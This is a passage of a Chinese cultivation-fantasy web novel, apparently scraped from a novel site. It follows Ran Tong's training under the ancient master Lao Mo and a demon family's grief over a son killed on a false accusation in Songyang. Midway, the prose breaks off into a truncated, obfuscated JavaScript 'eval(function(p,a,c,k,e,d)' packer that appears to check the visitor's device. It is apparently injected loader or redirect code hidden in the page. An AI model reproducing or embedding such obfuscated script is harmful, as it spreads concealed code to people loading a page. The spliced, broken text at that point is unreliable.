老魔又搜集到一个后辈修为下滑的证据,一千年前别说胜境了,哪怕刚学会呼吸吐纳,还在得境门口徘徊的人都能做到十天 半月不吃不喝,断食慢,说明体内灵气不纯,空长境界不长修为。 他领着冉彤去冰原下找吃的,前行百丈已来到地势较低的山林。 冉彤发现一株长势羸弱的火柿树,兴兴头头跑过去。 这棵野生的火柿高不足五尺,稀稀拉拉结了几个半青不红的果子,个头还不如鸡蛋大,即使成熟了滋味也不会好。 冉彤落难后从不挑食,凡是灵果都能拿来充饥,摘下一个开咬。果然又苦又涩,灵力几近于无。 老魔说:“这火柿长期生在阴寒之地,已失去灵性了,吃了有害无益。” 冉彤悻悻地扔掉柿子,听他问:“你喜欢吃火柿?”,随意点了点头,想起在烈阳时年年秋天都能吃到又脆又甜的火柿子,每个都比成人的拳头大,吃一个就顶饱…… 忆甜思苦,饥饿感更强,烧心烧肺地难受。 老魔捏碎一颗柿子取出种子,掌心喷出一股鲜红的火焰加以灼烧。 冉彤认出这是三昧真火里的文火,奇道:“前辈在做什么?” “这树品种还算纯正,待老夫重新栽种一番。” 冉彤明白他在用真火淬炼树种,使其回复灵性,可是她都饿成这样了,他怎么还有闲心栽树? 俄尔,黑色的种子在真火淬炼下转为殷红,老魔将其埋入浅坑,嘴唇开合默念咒语。半空中浮现一朵蒲团大的白云,哗啦啦降下甘霖浇灌种子。 树苗破土而出,以匪夷所思的速度飞快生长,冉彤不过眨了眨眼,它便窜到一人高,数息长成枝繁叶茂的大树,开出成片铃铛般的小黄花。 花儿转瞬凋谢、挂果,累累果实吹气似的膨胀、由青转黄,由黄变红,长成表皮油润,色泽如火的硕果。 老魔看柿子熟透了,说:“可以吃了。” 冉彤惊讶得合不拢嘴,催熟果实需要很多灵力,像这种当场令种子生根发芽长大结果的法术她只在古书里见过。 “前辈真是神人!晚辈还没见过现今有人掌握这即种即收的仙术呢!” 她不敢想象老魔还藏了多少厉害本领,怀疑他是谪仙转世,必须抱紧这根大腿。 老魔暗自皱眉,连这并不稀罕的法术都失传了,足见千年来修真界经历了全方位的巨变。 正想着,见冉彤就近摘下一枚柿子直接张嘴就咬,他不禁提醒:“你就这么吃,不先净尘吗?” 冉彤忙念咒清洁柿子,而后大口啃下去。 脆甜多汁的果肉在口腔里奏响美妙乐章,咽下去,身心都舒泰了。 她又摘了两个抱在怀里,一面吃一面后退,一屁股坐进草丛里,丝毫不在意身下脏兮兮的泥土。 老魔默默叹气,打扫一块岩石当做椅子。 坐定后瞟了冉彤一眼,正好见她将满手果汁使劲蹭到裙子上,那不修边幅的德性在他心里激起一片小疙瘩。 人饿坏了是不顾礼仪。 他自我说服着,又侧头看她,一串爆裂的果汁从冉彤嘴角溅入他的视野,这丫头像饿死鬼投胎,狼吞虎咽,流汤滴水,邋遢到毫无形象可言。 老魔认为这是个怪习惯,到底没忍住劝诫。 “吃东西最好细嚼慢咽,还有下次找个干净的地方坐会更舒服。” 他言辞够委婉,语气也够温和,仍扎得冉彤耳朵难受。 从小到大长辈都舍不得拘束她,修士们也不像凡人繁文缛节多,导致她的行为举止向来粗放随性,加之逃难以来条件艰苦,就更不管斯文与否了。 悄悄腹诽:“嫌脏你别看啊,臭讲究什么。” 反感只燃了片刻便被理性的清风扑灭。 相识以来老魔总保持整洁清爽的仪容,看得出的确很爱干净,身上还一直带着甜美的松香。 修士到了臻境以上就会产生特有的玉骨灵香,母亲的香味类似素馨花,父亲的像檀木,表哥是茉莉,大姐姐二姐姐是琥珀和月桂…… 魔修因修炼法门邪恶,气味都难闻,需设法遮掩,携带的香味通常浓烈刺鼻,老魔和他们完全不同,大概还有洁癖。 冉彤记得囚禁他的地宫环境异常恶劣,在那种肮脏奇臭的地方呆了上千年,他该多难受呀。 想到这儿不免心生同情,也明白他的提醒出于善意,打消抵触情绪,改换上较为文雅的吃法。 老魔挖了一块寒玉髓炼制成巴掌大的小匣子,给她储存柿子做口粮。 这匣子瞧着小容量大,整树的柿子装进去都不见满,据说还能长期保鲜。 “谢谢前辈,这下晚辈不会饿肚子了。” 冉彤只看到眼前,老魔为其计长远,教她一套服气辟谷的心法,说照着练可尽快断绝饮食。 这心法也是冉彤没见过的新路数,修炼半个月便觉鼻接天地之气,精从内守,气从外生,一点灵明永结不坏,如金之坚,越练越纯,饥渴感久久未返。 她高兴地向老魔道谢:“前辈教的功法真管用,晚辈这么长时间不吃不喝也没事。” 老魔叫她别得意忘形:“你以前学的东西多半是无用的,要回归正途还须多用功。” 这半月他带着冉彤四处周游,找了好些地方仍无所获,离恨天那帮人藏东西的手段倒是高明。 36.求助 道心坚固则身心安适,冉彤见老魔成天优哉游哉的,心情随之放松,琢磨着再从他身上多学点本事,目前最眼馋那套催生灵植的法术。 一些高阶丹药的配方包含多年生珍稀灵植,大部分可遇不可求,要是学会这门法术就不愁原料短缺,能靠丹药迅速提升修为。 她瞅准时机,含蓄地向老魔请教。 老魔一眼看穿她的动机,教导:“你别打量着吃药速成,那是邪门歪道。自身修行不够仅靠药效催增灵力,短期内收效是很可观,但时间长了必受反噬。” 冉彤知道他为人实在,说的都是圭臬之言,知趣地放弃取巧,委屈辩解:“前辈误会了,晚辈是想培育一些灵植好炼制高效的医用丹药,并不是想走捷径。” 老魔太善于反思,以为又错怪了她,说:“这样的话倒使得,那你就从最基础的学起吧。” 他想冉彤这些天跟着他东奔西走也累了,是该停下休整一阵子,当晚在一座灵气充沛的山林扎营,先教她种植丛生香荃。 这种外观类似兰草的灵植深受草食类妖兽喜爱,常被修士用于饲养灵宠。生长范围广阔,温暖潮湿的山林里都能找到它的踪影。 法术比预计的容易,冉彤领悟力强,半天便学会了,在神木牌辅助下种出一丛红花香荃。 她兴高采烈摘了一把去喂山里的鹿属,那妖兽嫌弃地瞪她一眼,撒腿跑开了。 “晚辈小时候曾用这灵草喂养白玉兔,它们也不爱吃。” 她怀疑丛生香荃并不如传说中那么受食草妖兽欢迎,老魔解惑道:“鹿属是木系灵兽,你用火性灵力催生的灵植是火属性的,当然不合它们胃口。” 冉彤惊讶醒悟,过去看丛生香荃开花五颜六色,她只当品种不同,原来还有这层道理。 在老魔指导下她尝试用木属性灵力催种,得到开浅蓝色花朵的丛生香荃,再寻到那鹿属,它嗅了嗅她手里的灵草便津津有味嚼食,事后还衔来一朵灵芝做回礼。 冉彤开心极了,举着灵芝向老魔展示,希望能同他分享喜悦。 老魔莞尔:“做得不错。” 这是他第一次夸奖她,也是他第一次冲她温柔微笑。 黄昏的橙光洒在他俊美无俦的脸上,单看外表俨然与她同龄,不知他在青葱少年时是否也曾凭这明媚的笑容俘获过多情女子的芳心。 天人之姿,人品性格都不错,当年的他肯定很讨姑娘喜欢吧,就是现在,只要不泄露年龄身份,稍微装装嫩也够迷倒无数人了。 冉彤忽然察觉这些心理活动太不敬老,忙端正思想。 老魔压根猜不到花里胡哨的少女心,赏识她勤奋好学,再详细讲解用丛生香荃饲养灵兽的诀窍。 “你不能简单地用种类划分妖兽属性,同一种妖兽按生长区域不同,属性也会有区别。就以鹿属为例吧,庆隆州北部处于亥地,水气旺盛,这里的鹿属同时具备水木属性。南边的州境处于戌地,戌藏丁火、辛金、戊土,三种元素按四季轮流司令。春夏丁火旺盛,这时出生的鹿属是火木属性。冬季辛金强盛,生在这个季节的鹿属含有部分金系灵力。每个季节的最后一个月是戊土司令,这时出生的鹿属则拥有土系灵力。这原理适用于大部分妖兽,用适合它们的食物喂养才能得到上品灵宠。” 他边说边示范,组合五行灵力种出各种属性的丛生香荃,以便冉彤理解掌握。 冉彤才知道水火、金木等相克的灵力能相互融合,发挥强大功效,高兴之余感叹:“小时候家父常教晚辈辨识灵植,也教过晚辈一些培育花草的知识,可都没这么全面深入。” “他大概没想到你需要亲手种植灵草吧。” 老魔了解冉彤的一切,她家境优渥,娇生惯养,生在资源充裕的大都市,过去尽可以用财富换取所需,她父亲只想让女儿享清福,自然不会教她多余的东西。 他旋即意识到这句话会令冉彤伤感,忙接着说:“你的雷灵根得天独厚,火、木、土、水四种属性的功法都能强化雷力,以后多试着培植这四种灵植,对修行大有裨益。” 冉彤没他想得敏感,听说种灵植还有这额外的好处,欢喜道:“那晚辈直接种火雷棘、雷泽芝、凌霄雷衫这些雷属性的灵植是不是更能提升修为?” 老魔说:“雷系灵植种植难度高,你才这点修为就别好高骛远了。” “晚辈想先试试。” 冉彤以为自己连三途烽燹都能学会,种个灵植更不在话下。 老魔不反对,用心传授了催种火雷棘的方法,找来一棵小苗给她做素材,条分缕析地指导。 冉彤事前信心十足,动手时却是知易行难,连续两次非但没成功,还受法力反噬,没老魔保护铁定受伤。 她狼狈收场,不得不承认自家眼高手低,尴笑自嘲:“这法术还真难学啊。” 老魔温和教导:“百丈高台始于一石。任何法术都得先打牢基础,你以前总教你那堂弟做事要踏实,自己怎么急于求成呢?” 他居然跟她拉家常,冉彤惊喜,顿觉他亲切感倍增,趁机提出酝酿多时的请求,跪地叩头,诚恳地大声说道:“前辈神功盖世,实令晚辈仰慕,可否请您收我为徒,晚辈一定誓死效忠,终生追随左右。” 老魔断然拒绝:“老夫早已决定不再收徒,你趁早打消此念,横竖大家早晚都要走散的,何必徒增无用的羁绊。” 他任重道远,艰险重重,最好少与人结缘。 冉彤不知道老魔人情练达,该果断时绝不暧昧,只听出冷漠嫌弃,暖洋洋的心霎时结了冰,闷闷地不再说话。 老魔想她失落一会儿就会放下,自去别处打坐,次日早上回来见她仍垂头丧气呆在原地,小脸上泪痕重叠,似乎伤心了一宿。 他终是心软询问:“你哭什么?” 冉彤不知道老魔回来了,听见声音赶忙擦了擦脸,转身请安。 老魔从不对人摆架子,遭逢大难后更注意改进沟通方式,以免彼此间落下芥蒂,于是和蔼解释:“老夫昨天没答应收你为徒,原因都在我这边,并不是觉得你不够好。你聪明有天赋,日后自会得伯乐赏识,拜得名师。” 冉彤之所以难过也多半为着自己,见他这么体贴,坦率道:“晚辈之前日日担惊受怕,好容易跟着前辈才过上几天安心日子,一想到今后要离开您重新去过那种无依无靠的生活就忍不住害怕。” 俗话说,尝过龙肝凤髓,难为野蕨山肴,天底下哪里去找第二个老魔这样德才兼备的强人,攀不上这根高枝定会憾恨一辈子。 再者,她经历过众叛亲离,对外戒惧极深,好容易遇上值得信赖的老魔,真不想失去这不可替代的依靠。 老魔大致理解她的感受,愿意尽量帮扶这无枝可依的幼鸟,安慰:“老夫也没说现在就抛下你,趁还有时间,先助你提升修为,在你能够独立,或是寻到好出路前会护你周全。” 得他允诺,冉彤放下忧恐,拨云见日地露出喜色,连忙跪地谢恩。 她红扑扑的小圆脸是为笑容量身定制的托盘,不论何时都叫人喜欢。 老魔用灵力阻她下跪,说:“修真者只跪天地、父母、恩师。老夫与你萍水相逢,往后莫要如此。” 冉彤伶俐道:“您救过晚辈性命,给恩人磕头天经地义。” 老魔嘴角微微上翘:“这么说来你也救过老夫,恩情相抵,就莫讲虚礼了。” 相处的这些时日冉彤一直暗中观察老魔,早觉得他不像其他老前辈那么拿腔作调,目中无人。与她交谈时都会反馈眼神,有时正悠闲慵懒地斜靠山石树木休息,见她走来请安说话也会立刻端坐回应,丝毫没有忽视怠慢。 对她这个小人物都礼仪备至,真是骨子里的好教养。如今看来他还不重形式,不讲尊卑,真想知道这出色的个人修养是如何形成的。 冉彤越发好奇老魔的过去,有机会定要探个究竟。 老魔当年广收门徒,桃李众多,在教学育人方面经验丰富,已为冉彤制定好学习计划。 “你目前的修为和境界不匹配,老夫早年曾与冉皓阳论道,他的功法自成一派,颇为精妙,修炼十余载后不该是你这种状态。大约和冰心诀一样都被人篡改过了。” 功法遭篡改还不是最令冉彤吃惊的,冉皓阳是冉家的初代家主,两千一百年前便物化了,由此可知同他接触过的老魔少说也有两千多岁了。 她知道老魔不喜人套话,忍住没问,就事论事道:“晚辈曾听说如今的修真者一代不如一代,也不明白哪里出了问题,还请前辈指点。” 老魔说:“你的根基还算稳固,看得出下过苦功夫。老夫传你一套潜机蛰息的心法,往后你就用它培养元气,积蓄灵力,大约三个月内可将修为提升至应有的水准。” 这套心法可用“静”字概括,入门也靠静坐,要求做到宁心绝虑,正意忘形,将元神与元气炼成一体,使神能役气,气可随形。 “《太玄经》有云‘人能常清静,天地悉归元’,学道重在炼己持心,持心全在‘止念’二字,杂念即消,大道即近。无念之念,便是真心。那边竹林后有一山洞,正宜静坐。你即刻去那边闭关,如无特殊情况不得外出。老夫自去办事,三个月后来与你会合。” 冉彤欣然从命,跑去那个山洞稍事打扫修整,用石头做成蒲团、床椅,闭关前不忘在山洞四周布下防御阵。 谷中多凶兽,一头七级青煞冥犼早盯上她,埋伏在山洞附近,在她打坐练功时悄然逼近。 那阵法在它如同纸糊的灯笼一戳即破,它蹑足前行,滴着唾涎准备品尝美食。 刚刚伸出前爪,脖子便被斜刺里飞出的紫光刷然斩断,斗大的头颅落地,目光失神前看到自己飙血瘫倒的身躯和一抹蓝色的人影。 老魔特意守到现在,见冉彤还知道在门口布阵设防,很赞赏她的细心谨慎,杀死冥犼后重新替她布下牢靠的防御阵,将冥犼头挂在洞前做警示,量这方圆百里的妖兽都不敢来滋扰。 随后又在山谷周围播撒迷雾,防止人类靠近。 他安排妥当后踏上搜寻之路,三个月内陆续找遍大半个庆隆州,终无寸功到手。 此时他意识到仅凭自身力量难以成事,几经思量后来到庆隆州与中州交界的灵樾森。 这片森林幅员三千里,处处古木入云霄,流泉绕石礁。山阳地繁花似红霞,山阴地瀑布落清潭,遍地芳草凄凄,鸟兽成群,远处山峦共黛色,清幽美景胜似画卷。 老魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他表明立场令老魔倍感欣慰,说:“此事须从长计议,我自遭毒手失去灵骨,如今只剩三成法力,须寻回灵骨再图别事。数月来踏遍大半个西大陆仍无头绪,心下委实沮丧。” 封无牙忙说:“您该早点来啊,找东西这种事没有比我们家更在行的。” 蚊子是世间数量最多的生物,无处不在,无处不去,他和儿女子孙们驾驭亿万蚊群,消息之灵通当属天下第一。 老魔谢过,提出第二件请求:“我捡到一个孤女,她正被离恨天通缉,不方便在有人的地方行走,可否请驸马爷设法掩饰?” 这也不难,封无牙说:“我派些人去各地守着通缉令,用幻术修改看客的记忆,这样就没人认得她了。” 他的法力与离恨天的太上长老们旗鼓相当,鲜有人能抵挡他的幻术,做这点事还不手拿把掐。 老魔解决一桩烦恼,想立即予以回报,说:“驸马爷义薄云天,我定当报答,若有难事需我出手,直说便是。” 封无牙了解老魔,这人宁可吃亏不占便宜,不马上做点补偿心里必定不安生,故而坦诚恳请:“您这般大方,小老儿也不客气了,我近来总是突破不了瓶颈,想向您讨一滴三元灵血。” 所谓“三元灵血”不比寻常鲜血,那是从元精、元气、元神里提炼出的精血,每一滴都包含修真者十余年修为,相当珍贵。 老魔一口应允,说:“我法力今非昔比,这具躯壳又是夺舍来的,精血不如过去纯正,不知能不能帮到你。” 他运功从右手食指尖挤出一滴灵血,血珠飘到封无牙跟前,老头儿一口吞下,凝神炼化,须臾万孔生春,阴阳合一,成功突破关隘,法力更上了一个台阶。 “还得是您的真仙之力最了不起,托您的福,小老儿又能多活千把年了。” 封无牙不住道谢,放出神光,召唤儿女们前来分派任务。 他和金翅公主恩爱共育有二女五男,不到一炷香时间齐刷刷来了五个,只二女儿和小儿子没到。 这些孩子分居各地,今日来得这样迅速,定是事先在一处聚会。 封无牙疑心他们为何瞒着自己,等五人向老魔行过礼,质问长子:“你和弟弟妹妹们见面为何不约在我这里?” 封大郞窘迫难言,其他弟妹也面色沉重,封无牙更着急逼问。 封五娘说:“大哥,这事瞒不住,还是直说了吧。” 封大郞支吾:“我不会说话,怕气着老爹,老四,你来说吧。” 封四郞口才出众,先上前扶封无牙坐定,握住他的手说:“老爹,您听了千万别激动,一切交给孩儿们,我们定会为七弟讨回公道。” 封无牙何等精明,听到这儿手已发颤,变色道:“老幺出事了?他现在何处?” 老魔见封家兄妹个个悲戚,料想封七郎有死无生。 封四郞垂头哽咽:“前日影月宗的门主诬陷七弟长期在松阳城杀人吸血,伙同离恨天的人围攻他。七弟寡不敌众,当场……孩儿昨天收到三哥传讯,和他一块儿赶去松阳找那吴门主理论,他竟搬出陈淳来压人,我们想若动起手来干系太大,先要回了七弟的尸首,准备商议好万全之策再为他伸冤报仇。” 37.委托 封无牙惊闻噩耗,悲愤焦急,活了几万年的善妖,再激动也会优先考虑是非对错,抓住封四郞问孩子们:“他们凭什么说你小弟杀了人?有证据吗?” 儿女们围拢他安慰,老魔仔细聆听,这案情非同小可。 松阳城是庆隆州中北部的交通枢纽,规模庞大,人烟辐辏。 据说从十余年前起当地就常有过路旅人神秘失踪,近一两年情况加剧,竟接连丢了七八万人,不止凡人,还有许多修真者,直闹得舆情汹汹,人心惶惶,在周边修真界引发震动。 经过调查,人们惊觉十年来松阳城的失踪人口竟高达三十万,都明白事态严重,由松阳最大的宗门影月宗挑梁追查。 一个月前有人在城外树林发现大量死尸,这些尸体焦枯干瘪,死前被吸光精血,经辨认正是那些失踪者。 修士们验尸后一致判定行凶者是虫族大妖,严密筛查常在周边出没的虫妖后,锁定封七郎为最大嫌犯。 封四郞愤恨道:“他们说七弟每年都会去松阳南边的凤篁林,那些干尸出现前有人曾在抛尸地见过他。影月宗因此认定七弟是凶手,扯谎将他骗去松阳,联手谋害了他。” 封无牙捶地大怒:“老幺每年都来看我,他知道我爱吃那凤篁林产的青竹露,总是顺道去采集,这孩子从小老实本分,绝不可能干坏事!” 封四郞附和:“我们也这么跟那些人解释,我封家都是太清教的忠徒,没做过伤天害理的勾当。况且就算吸血练功,杀那么多凡人作甚?随便找个妖族小儿问一问都知道凡人的血肉又脏又臭,比牲口不如,要来有何用?可他们根本不听,一口咬定没错杀,还骂我和三哥护短。” 老魔认识封七郎,那是封家最乖巧温顺的孩子,淳朴得几近天真,是没可能走邪路。 他想影月宗定是迫于压力着急结案,硬往封七郎头上扣罪名。 封无牙老泪纵横,想先看看儿子的尸首。 封大郞从识海里取出封七郎的遗体,死者已现出原形,是一只大如小船,同时兼具蚊子和蜈蚣特征的墨绿色大虫。 虫身经过修补仍看得出支离破碎的惨状,死前想必受了很多罪。 封无牙扑到尸身上失声痛哭,向劝解他的儿女们诉苦:“你们的母亲死前最放不下老幺,叮嘱我好生照看,我原以为他是个孝顺听话的好孩子,必得上苍护佑,不料竟惨遭不测,将来到了泉下,我有何面目见他们母子。” 发妻爱子都遭离恨天杀害,老蚊子怒塞胸臆,稍后指着三郎四郞詈骂:“你们两个废物,平日倒会逞强说嘴,这次怎么缩着脑袋回来?他影月宗冤杀老幺,你们也该先赚他几颗人头!” 封五娘和封六郞同父亲一条心,早不满三哥四哥懦弱,左右扶住封无牙,你一句我一句责怪两位兄长。 “老爹说得对,七弟死得这么惨,你们既见了那姓吴的就该替他讨公道,难道凭你二人联手还杀不了他?” “是啊,若怕打不过,事先就该叫上大哥和我们,莫说那陈淳不在场,就是他和那班狐群狗党齐上阵,我们家也未必斗不过!” 封四郎无奈:“我不是跟你们说了吗?兹事体大,动起手来争端绝不仅限于封家和离恨天之间,定会牵连到人妖两族,不先替七弟洗冤就把事情闹大,杜大王那边也不好交代。” 妖界六部的王位不按血统更替,全凭实力选拔,每三千年一换,当今虫族妖王是一只名叫“杜峰”的蝎子精,人称杜大王。 妖王们和离恨天签有协议,一切纠纷都得按孰是孰非裁断,假如封家不能为封七郎澄清,影月宗的做法就是正当的。 道理都懂,情理难容。 封大郞也嫌三弟四弟太窝囊,见父亲弟妹怨气冲天,忍不住跟着责备:“大局为重,那手足之情就不重要了?你们哪怕打那吴敬轩一顿,出口恶气也好啊。” 封三郎性子急,憋屈太甚顶撞道:“大哥不了解情况就别瞎起哄!” 封四郎用力拽他一把,劝说封大郞:“大哥,老爹骂的我和三哥都认了,你们就少说两句吧。” 老魔看出这两兄弟有所隐瞒,其余人却不像他旁观者清。 封五娘觉得四哥在推诿,柳眉一竖跳脚怒斥:“你自己冷血还不许我们为七弟伤心难过?七弟是我一手带大的,跟儿子差不多,平白无故被人打死,我能不痛心?昨天不是你们四个硬要阻拦,我早去松阳找影月宗拼命了!” 她气不过,想先和封四郎比划比划,众人急忙劝阻。 孩子们起了内讧,封无牙更觉没活头了,厉声喝止后愤懑道:“当年你们的母亲遇难,我为了你们忍辱偷生,如今老幺也被他们害死了,我再忍气吞声,不止愧为人夫,还不配做父亲。这就去找杜大王,请他作证,与尔等断绝亲缘,然后独自去替公主和老幺报仇。离恨天、影月宗,有一个算一个,舍了这条老命总能叫他们百倍奉还。” 子女们一致认为这是胡闹的做法,忙放下争执齐声劝解。 老魔想封家是因为支持他才被离恨天针对,金翅公主和封七郎的死他难辞其咎,必须对这家人做出补偿,于混乱中插话道:“此事多系离恨天唆使影月宗栽赃嫁祸,驸马爷冲动行事又要中计。不如由我代为调查,找出案件真凶,还了七郎清白,再去与他们交涉。” 封无牙敬重老魔,更信得过他,立刻冷静下来,因歉意犹豫不决。 “您托付的事还没办成,怎好反过来给您添麻烦?” 老魔恳切道:“驸马爷这么说就见外了,你和尊夫人都是有德长者,即便无亲无故,我也该仗义援手。” 封大郞也觉得由老魔出面最妥当,率领弟妹们向他谢恩。 五娘、六郞都很欣喜,四郎却不太情愿,三郎更情急反对:“老爹,这是我们的家事,不好连累外人吧。” 封无牙再次暴怒,劈手一掌打得他后飞百丈,撞断几十棵巨树,大骂:“夏爷是我和你母亲的挚交,你敢说他是外人?!随便来个人都比你这废物靠得住!” 兄弟们从没见父亲这样生气,都不敢动弹,还是老魔过去问候封三郞。 封三郞面红耳赤,羞于和他说话,含糊地应了一声,垂头丧气跟他回到家人身边。 封无牙懊悔不该当着老魔的面动粗,羞愧地赔不是,又含泪倒苦水:“小老儿运蹇,晚年接连丧妻丧子,自忖时日无多,若将来有个好歹,还望您照拂他们兄妹一二。” 老魔劝他莫说晦气话,提醒封家兄妹为七郎操办后事,想等祭拜完逝者再告辞。 封大郞等人分头治丧,搭灵堂,筑棺椁,通知亲朋好友。 封无牙问五娘:“你二姐呢?” 五娘啧嘴:“我昨天发传音符向她报丧,她一直没回复。” 封无牙哀叹:“她瞧不起我就算了,怎么对老幺都这么无情呢?” 五娘扶住父亲肩头开导:“这么多年了您还放不下吗?有我们几个孝敬您,理那白眼狼作甚?往后她有难,我绝不理睬。” 封无牙忙反过来劝她:“你这话就不对了,二妹就你一个亲妹妹,你该比哥哥们更爱她,怎么能不管她?” “您看她管我们了吗?数典忘祖的不孝女,做她的妹妹我还觉得可耻呢。” 五娘不爱听父亲唠叨,倔强地走开了。 老魔在附近听得一清二楚,很替封无牙揪心。 人族里有尊卑贵贱,妖族也分三六九等。封无牙出身低微,做了驸马仍受歧视,子女们也常被指摘血统肮脏,公然遭自诩高贵的大妖们贬低。 他家二小姐在七个孩子里资质最好,心气也最高,从小鄙视父亲是“贱类”,不愿做他的女儿。 她的舅舅曾想收她为养女,抬举她的身份,封二娘十分欢喜,却遭母亲强烈反对。金翅公主甚至跑去哥哥家大打出手,警告他别挑拨离间。 兄妹俩由此反目,封二娘也更怨恨封无牙了,离家出走三万年,从不与父母通音讯。 老魔没见过封二娘,当年听说她与一位白泽族的遗少成婚,丈夫意外身故后便长年寡居,不知近况如何。 清官难断家务事,他自己的烂账还没理清呢,别人的家事听听就好。 祭奠完封七郎,他向封家人辞行。 封大郞替封无牙送客,路上对老魔说:“您要办的事老爹都分派给我们了,您尽管放心,一准不会出差错。” 老魔还有一事,之前没好意思跟封无牙开口,知道他家大郞憨厚,口风甚紧,请求道:“我还想托你帮我找一个人。” “好,您要找谁?” “……楚幽荨。” 寻常三个字组合成一把薄刃,自老魔喉头划过,天崩地裂不能夺其色的他竟难以抵挡这锥心之痛,微微拧紧了眉梢。 封大郞猜到当年老魔吃了自家人的亏,不敢妄言己见,小心应道:“当年她被离恨天带走,不久放归楚家。事后楚家一夜间举家迁徙,不知去往何处隐居,这千年来再无踪迹。此女可能已不在人世了。” 这些事老魔已知晓,断定那女人没死。 “她的本命灯还亮着,肯定还健在。” 根据对方的生辰点灯测算,可获悉此人的存亡健康,他为楚幽荨点过本命灯,灯火强旺,说明她活得好好的,正躲在某处逍遥快活。 老魔心里堆满疑惑的淤泥,不找到始作俑者,永难解除心结。 封大郞说:“我会替您留意的,也绝不跟任何人说,连老爹都不告诉。” 老魔感激地点了点头,双方就此拜别。 却说冉彤闭关三月,第一个月不吃不喝,时间长了还觉打熬不住。 她手里有很多火柿子,可是不打算吃,心想:“这潜机蛰息法能滋养元气,彻底断绝饮食,我暂且忍着,等实在饿极渴极了再吃东西。” 下定决心后便狠命挺住,空思静虑,不去想饥渴二字,一心一意打坐练功。 久之胸怀朗彻,苦楚消退,三个月过完,那循环往复,存神运化的天机竟完全豁然贯通,散去所有不适感,天人合一,神炁混融,灵力源源涌入上中下三宫,进而元神出窍,直入苍穹。 老鬼说走到这一步,元神可化万物,瞬间周游方圆百里。 她尝试变身,心里想着老鹰,果然长出羽毛双翼,变成一只大灰隼,振翅直冲云霄,百里外的一草一木皆清晰可见。 成了!我成了! 她欢欣鼓舞,自在滑翔,钻进下方的丛林。 地面上一群鹿蜀正在迁徙,她化身小鹿混入兽群,跟随它们疾驰,奋力冲到队伍最前端,带领鹿群越过山涧、 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老魔微微摇头,看出她修为突飞猛进,已比当今同境界的修士强了一个等级,达到应有的水准了,夸奖道:“不错,你这三个月总算没虚度,继续努力,再过两三年便可升阶越级了。” 强者自带权威,他的肯定就是至高无上的鼓励。 冉彤心花怒放,自信心仿佛芝麻开花节节高,打定主意要在老魔身边赖下去,忙娇声拍马屁:“全靠您指点,晚辈才能有这些许进益,往后能否成器还得仰仗您提携呢。” 好话一句三春暖,老魔明知她擅长哄人,仍觉得这些甜言蜜语很受用。 会来事的小辈机缘多,这丫头够可怜了,只要今后的路能走顺当,八面玲珑亦无妨。 他含笑默认,说:“快收拾一下,下一站去松阳。” “我们不是去过了吗?” “这次是去查案。” 此事无须隐瞒,老魔粗略讲述松阳人口失踪案和封七郎的冤案。 冉彤听说有离恨天参与,顿生义愤,凭直觉断言:“依晚辈看八成是离恨天贼喊做贼,他们什么坏事都干得出来。” 老魔跟离恨天的仇怨比她多,依然以事实为准,要等调查清楚后再下结论。 二人向松阳出发,用缩地术走个几百步就到了。 冉彤抓住一切学习机会,途中向老魔请教本次修行中遇到的难点。 “前辈,晚辈的灵力神识都提升了不少,可仍做不到改形换面,您能教教我要领吗?” 这个很简单,老魔稍加点拨她便开窍了,雀跃道:“待晚辈变个模样,待会儿进了城就不用靠您的幻术掩护了。” 老魔笑道:“你这丫头总这么猴急,老夫已托封驸马替你遮掩身份,你今后可以放心大胆地在人前走动,除了过去的亲友,没人认得出你。” 谈话间松阳巍峨的城门已耸立于前,进城后人来人往,真没谁注意冉彤。 她看到街边告示栏里还张贴着那张通缉令,在老魔许可下故意站到自己的画像前,人们仍视而不见,视觉都被封无牙的幻术篡改,看到的她和通缉令上的画像两模两样。 冉彤像摘掉了枷锁称心舒畅,这才觉察到城内人流明显比上次多了很多,估计是剿灭吸血恶妖换来的成果。 老魔带她入住客栈,单独为她要了间上房。 冉彤跟随他到过三个城镇,每次老魔都会带她去客栈落脚,安排她住最好的房间。 她想他单独行动时更乐意露宿山野,因为可怜她才如此优待。 一般自尊心强的人很抗拒他人怜悯,冉彤不然,她自尊心固然极强,更懂得因势利导,对自己有好处的便不拘一格,大方笑纳。 况且老魔是世间数一数二的强者,被他怜悯非但不可耻,还能侧面说明她拥有与众不同的长处,否则怎会得他另眼相看。 她一进房间便对着镜子练习刚学会的换形法术。 “眼睛细长一点,眼角向上翘一点,鼻梁再高点,鼻尖再小点,还有嘴,再大一点薄一点,下巴也要弄尖一点……” 她没有容貌焦虑,可是老早就想看看改进长相后自己会是什么模样,精心调整半晌,终于得到一张美若天仙的脸孔,虽说跟本来面目八竿子打不着,可更像爹娘的亲女儿了。 成了!我又成了! 她再度得意忘形,跑去隔壁房找老魔显摆。 “前辈,我变好看了!” 这张脸真让老魔于无声处听惊雷,挑开那段浸透污血的绮丽记忆。 他仿佛看到楚幽荨百媚千娇地站在跟前,毫不手软地用利刃肢解他的身体,甜如蜜的红唇不停释放着恶毒绝情的话语。 冉彤被他陡然凛冽的神情惊到哑口,还没明白他为何生气就被他压低嗓门训斥:“还不如以前的样子顺眼。” 她心眼多多,登时反应过来。 我大概变成他老婆的模样了,这也太不凑巧了! 她只顾变美,将五官精雕细琢到极致,哪晓得会弄巧成拙。 “晚、晚辈这就改回来!” 她逃回客房,解除法术前对着镜子猛看,牢牢记住这副形容。 他老婆这么漂亮吗?比《云影仙踪记》里那个美女还好看啊,单看容貌两口子真登对,老魔人那么好,这女子怎舍得背叛他呢? 38.仇家 现在可万万不能得罪老鬼,得赶紧哄哄他。 冉彤恢复原貌后再去找老魔,客房已空了。 她惊慌搜寻,神识游遍松阳城没找到他的身影,一颗心犹如漏风的屋子,凉到她周身发颤。 他莫非恼羞成怒,弃我而去了? 不,不会的,他的气量没这么狭窄,估计去办事了,我修为低找不到他很正常。 确定情况后冉彤心情转为安定,不满和抱怨接踵而来至。 出去也该打声招呼嘛,都不管人家会不会担心。 她是被善待着长大的,享受过充分的尊重、理解和关爱,懂得直面自身感受和需求,受到不合理的对待就会生气。 相应的,在发觉自身失误后,反省速度也是极快的。 回房不久她就向老魔衷心致歉,因为靠墙的几案上放着一张他留给她的字条。 “静待吾归” 字条早放那儿了,是她慌里慌张没发现,单方面错解了他。 